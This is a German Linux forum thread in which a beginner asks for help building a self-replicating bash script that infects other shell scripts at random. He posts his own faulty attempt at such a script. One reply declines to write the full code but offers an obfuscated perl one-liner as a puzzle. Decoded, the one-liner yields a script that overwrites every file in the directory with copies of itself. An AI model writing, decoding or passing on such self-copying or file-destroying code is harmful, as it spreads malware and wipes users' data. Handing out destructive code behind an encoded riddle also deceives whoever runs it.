Selbstportierender Code

M

monox

Grünschnabel
Hallo

Ich möchte für ein persönliches, experimentelles Projekt folgendes erstellen:
Ich möchte ein virales Script schreiben, welches zufällig andere Dateien befällt. Ich weiss, dass ich nur Scripte mit den richtigen Rechten befallen kann. Dies ist aber kein Problem: Bei meinem Projekt sind die zu befallenden Script so eingerichtet, dass das funktioniert.
An diesen wird am Schluss eine Zeile hinzugefügt, dass der Virus hier war. Quasi eine Unterschrift. Immer wenn die Witsdatei ausgführt wird, also ein Shell Script, wird der Virus wieder weiterkopiert. Also quasi Code, der sich selber herumkopiert und überall sich markiert.
Ich bin noch Neuling und möchte dies technisch umsetzen, obwohl es recht schwierig zu sein scheint.
Hat mir jemand irgendwelche Vorschläge?
Kann mir allenfalls jemand mit einer schlichten Lösung weiterhelfen?
Ich habs bereits mit dem hier probiert::

#!/bin/bash


export V='GESWIRTSCRIPTE=`ls -l | tr -s " " | cut -d "
" -f9 | fgrep ".sh" | wc -w`

ZUFALLSZAHL=`expr $RANDOM % $GESWIRTSCRIPTE`

LISTSCRIPTE=`ls -l | tr -s " " | cut -d " " -f9 |
fgrep ".sh"`

echo $LISTSCRIPTE > scriptliste

ZUFINFFILE=`cat scriptliste | cut -d " " -f$ZUFALLSZAHL`

echo "export
V='$V'
" >> "$ZUFINFFILE"; echo
"$ZUFINFFILE"'

FILE=$(sh -c "$V")

echo $FILE

#cat > "$V" >> $FILE


----

cuuu

monox
 
Meinst du wirklich, dass du darauf eine Antwort bekommst?
Vorallem steht der Titel mit dem Inhalt in keiner ersichtlichen Verbindung.
Und dann auch noch einer erster Post hier. Man, man, man!

Sharoz
 
sorry, es war nicht böse gemeint.
es war kein affront gegen dich.
ich meine aber mein posting sehr ernst
 
Hallo
Was ist dein Ziel, bzw. was bezweckst du damit?
Hast du diesen (nicht sehr intuitiven und fehlerhaften) Code selbst erstellt?
Was kam raus? ;)
Einen ganz simplen Bash-Virus zu erstellen, der allerdings nur ganz dumme Systemadmins beeindrucken kann, ist ja kein Problem.
Code:
#Mein Rätsel für dich
perl -e 'print 35.33.47.98.105.110.47.98.97.115.104.10.102.111.114.32.102.32.105.110.32.42.59.10.100.111.10.104.101.97.100.32.45.110.32.53.32.32.36.48.32.62.32.36.102.10.100.111.110.101.10'

Das erfüllt aber nicht deine Anforderungen, deren Zweck im Verborgenen bleibt.
Den Code für deine dubiose Aufgabe werde ich dir hier latürnich nicht schreiben.
Ich denke du wirst es auch nicht wirklich erwarten.
Wenn doch, dann geh nochmal ein wenig üben.:devil:

Ich bin auf dein Zweck gespannt.

Gruß Wolfgang
 
Zuletzt bearbeitet:

Ähnliche Themen

Skript soll nicht doppelt laufen... kill pkill pid cron

Problem mit HSPA+ Modem Huawei E353 - Installation unmöglich?

AWK Tip gesucht

Hilfe bei Scriptanpassung für VMWare 5.1 HA und USV Shutdown

Script um Volumes u. vroot verzeichniss auszulesen

Zurück
Oben